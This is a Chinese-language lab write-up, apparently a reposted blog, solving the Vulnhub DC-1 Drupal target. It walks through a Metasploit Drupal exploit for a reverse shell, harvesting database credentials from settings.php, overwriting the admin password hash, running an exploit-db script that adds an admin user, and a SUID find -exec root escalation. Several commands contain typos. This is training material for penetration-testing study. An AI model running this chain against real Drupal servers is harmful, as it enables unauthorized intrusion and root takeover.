內網靶場之Drupal(Vulhub-DC-1靶場)詳細攻擊過程


內網靶場之Drupal(Vulhub-DC-1靶場)詳細攻擊過程

Drupal:

Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成。

注入原理:

Drupal Sql注入漏洞原理是醬紫的,Drupal在處理IN語句的時候,要通過expandArguments函數來展開數組。由於expandArguments函數沒有對當前數組中key值進行有效的過濾,給攻擊者可乘之機。攻擊者通過精心構造的SQL語句可以執行任意PHP代碼。

詳細原理:https://www.freebuf.com/vuls/47690.html

漏洞環境:

靶場地址:https://www.vulnhub.com/entry/dc-1-1,292/

下載地址:https://download.vulnhub.com/dc/DC-1.zip

任務描述:包含5個Flag,初級難度,最終目標是在root主目錄中找到並讀取該標志

攻擊機 kali :192.168.0.199

靶機:192.168.0.183

​ (訪問靶場80端口是cms框架的登錄頁面)

漏洞利用:
Drupal 開源內容管理框架注入漏洞,反彈shell:

​ 首先弱口令登錄,掃端口、掃后台都沒什么較大的收獲。於是將目標盯在了Drupal這個cms框架上面了,發現這個cms有一個注入getshell的漏洞(CVE-2018-7600),並且metasploit中已有攻擊模塊,可以直接利用。

  1. 打開msf,查找drupal武器庫

    msfconsole
    search drupal
    

    這里可以根據需求選擇,我選擇比較新的2018年的攻擊模塊

  2. 利用攻擊模塊,需要設置3個參數,rhost、lhost、和TARGETURI。

    set rhost 192.168.0.183
    set lhost 192.168.0.199
    set TARGRTURI drupal
    

  3. run攻擊即可,將反彈命令行控制台meterpreter,輸入shell就可以執行命令了

初級內網滲透-flag1:

​ 首先雖然shell已經進入,但它並不是交互的shell,所以我們要進入交互式的shell。而且他的權限是www-data權限,權限較低很多命令不能執行

  1. 使用python反彈一個交互式shell TTY。

    python -c 'import pty;pty.spawn("/bin/bash")'
    

  2. 查看當前目錄,看有無可以利用的信息文件,其他目錄信息如下。發現了第一個flag1文件,查看flag1文件。

    ls
    cat flag1.txt
    

    Every good CMS needs a config file - and so do you.
    每個好的CMS都需要一個配置文件——你也一樣。
    
敏感信息分析獲取flag2:

​ 通過flag1的提示,告知我們cms的配置文件很重要,暗藏敏感文件。所以我們需要查看目錄下的其他文件來獲取信息。

  1. 首先我們百度搜索drupal有哪些重要的配置文件及重要文件的默認路徑 ,挑選重點下手能節省時間。

  2. drupal的配置文件是 /sites/default/settings.php ,是數據庫連接配置文件。我們去查看這個文件看有無收獲。

    cd /sites/default/
    ls
    cat settings.php
    

    我們發現了flag2內容,以及數據庫的賬戶和密碼

    * flag2
     * Brute force and dictionary attacks aren't the
     * only ways to gain access (and you WILL need access).
     * What can you do with these credentials?
     (flag2
    爆破攻擊和字典攻擊不是
    獲得訪問權限的唯一方法(您將需要訪問權限)。
    你能用這些證書做什么?)
    
    'database' => 'drupaldb',
    'username' => 'dbuser',
    'password' => 'R0ck3t',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
    
數據庫相關信息獲取

​ 首先我們通過flag2得到了數據庫為mysql數據庫,並且數據庫名、賬號和密碼都有了,肯定是要進入數據庫看有無所需信息的。如系統管理員賬戶信息

  1. 登錄數據庫

    msql -u dbuser -p
    username => dbuser
    password => R0ck3t
    database => drupaldb
    

  2. 數據庫基本操作,查看數據庫內容

    show database;
    use drupaldb;
    show tables;
    

    發現用戶表為users,注意Drupal框架默認的用戶表就是users表。

  3. 查詢users表中,系統管理員admin的賬戶信息

    select * from users;
    select name,pass from users;
    

    發現admin賬號和經過加密的密碼,drupal常用密碼加密是MD5格式,但是7.0以后因為安全性問題將加密方式改成了hash加密(由於很多在線MD5爆破和MD5數據庫,可以查到很多MD5碼的原文,所以Drupal 7已不再采用Drupal 6和5簡單的MD5加密,而是采用一種新型的Hash加密方法。新型加密方法是“加了鹽(Salt)”的MD5碼,簡單理解就是並不會直接將password進行MD5加密,而會和用戶名或其它隨機字符串組合在一起后再MD5加密。)。

    這里不是md5加密,應該是自定義的加密方式。flag2中給的提示暴力破解不是唯一的方法我們得想一下其他的辦法。

數據庫admin管理員密碼修改及獲取flag3

​ 我們想辦法的同時也可以百度向開發人員詢問答案,查找drupal7忘記密碼怎么辦?drupal7如何重置密碼?drupal7如何修改密碼?這些問題讓我們拿到admin這個管理員賬戶。

  1. drupal7重置admin用戶的密碼

    exit
    $ls
    $php ./scripts/password-hash.sh 123456
    mysql -h localhost -u dbuser -p
    Enter password:R0ck3t
    use drupaldb;
    update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
    
  2. 登錄成功

更隱蔽方式,添加新管理員賬戶獲取flag3

exploit-db(漏洞利用庫):

kali中已經內置,默認路徑為:/pentest/exploits/exploitdb。可以使用searchsploit命令來搜索exp進行利用。

在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶賬號,第二種方法是通過該過程新增admin密碼。

  1. 查看Drupal版本,確定Drupal版本為7.24

    cat /var/www/includes/bootstrap.inc | grep VERSION
    

  2. 使用searchsploit查找可利用漏洞。選擇添加管理員功能的攻擊腳本適用於7.0-7.31范圍(每個腳本括號后面有功能描述,我這里遮住了),符合7.24版本。

    searchsploit drupal
    

  3. 利用drupal7.0版本漏洞增加有admin權限的用戶

    python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.208 -u hkb -p hkb
    
    后面靶機出了點問題,靶機ip換成了192.168.0.208
    

    新增的管理員用戶如下

  4. 使用新添加的用戶hkb登錄網站,在content模塊下找到flag3。

    Congratulations!
    Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
    
    恭喜你!
    特殊的PERMS可以幫助找到密碼-但您需要-exec該命令,以確定如何獲取在shadow文件中的內容
    
    很明顯的提示:find+perms+exec 命令用來提權
    
根據用戶信息獲取flag4

​ 根據flag3的提示提權,我們嘗試查看用戶列表信息(包含用戶權限信息),這些用戶信息一般存儲在/etc/passwd目錄下。

  1. 查看用戶列表,獲取信息

    cat /etc/passwd
    

    注意,/etc/passwd包含系統所有賬戶信息,只有超級用戶才有寫和訪問。該文件每個用戶占一行用,分隔成七個字段。如下圖所示:

    發現了flag4這個用戶,並且得到了flag4的主目錄為home目錄。我們切換到home目錄尋找flag4相關文件

  2. 切換到home目錄尋找flag4相關文件,並嘗試查看。

    cd /home/flag4
    cat flag4.txt
    

    flag4提示內容:
    提示最后flag in root下面。
    

其實也可以直接用find命令查找flag4這個關鍵字,也能爆出flag4文件的路徑。主要看個人思路

find / -name "flag4
cd /home/flag4
cat flag4.txt
提權+獲得最終flag

​ 根據flag4的提示信息,最后一個flag存在於root目錄下。我們可以使用find命令查找root目錄下相關文件信息。

  1. 使用find命令查看與/root目錄有關的文件信息

    find /root
    
    find命令是用來在指定目錄下查找文件。任何位於參數之前的字符串都將被視為欲查找的目錄名。如果使用該命令時,不設置任何參數,則find命令將在當前目錄下查找子目錄與文件,並將查找到的子目錄和文件全部進行顯示。
    
    find(選項)(參數)
    -exec<執行指令>:假設find指令的回傳值為True,就執行該指令
    -perm<權限數值>:查找符合指定的權限數值的文件或目錄
    

    發現flag文件存在於/root目錄下,嘗試打開它

    發現沒有權限,所以必須要提權才能查看最終的flag文件

  2. 根據flag3中的提示,使用“-exec”提權,也就是find+perms+exec 命令來提權。這里有兩種方法可以用,看個人想法。詳細關於find提權會在另一篇文章中詳解

    1. find ./ acce -exec '/bin/sh' \;
    
    2. touch bcce
    find bcce -exec '/bin/sh' \;
    

  3. 再次嘗試打開/root目錄下的flag文件

    cd /root
    ls
    cat thefinalflag.txt
    

    成功訪問最后一個flag文件,游戲結束了。

總結:

​ 本次初級內網滲透靶場雖然初級,但也涉及了大量的知識點。

  1. 使用python反彈一個交互式shell
  2. 配置文件十分重要,重要的配置文件可以搜索相關系統或者框架的默認路徑,能在較短時間內獲取有用信息。如: drupal的/sites/default/settings.php ,是數據庫連接配置文件
  3. exploit-db(漏洞利用庫)真的很強大,里面很多攻擊腳本。不知道為什么以前很少用,現在要加強對他的了解了。他就是metspoit的兄弟
  4. /etc/passwd:linux默認存儲用戶列表的文件
  5. linux suid提權相關知識,在后面的文章中再詳細了解。
參考文章:

https://my.oschina.net/u/4257499/blog/3230676

https://blog.csdn.net/szlg510027010/article/details/106541167/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM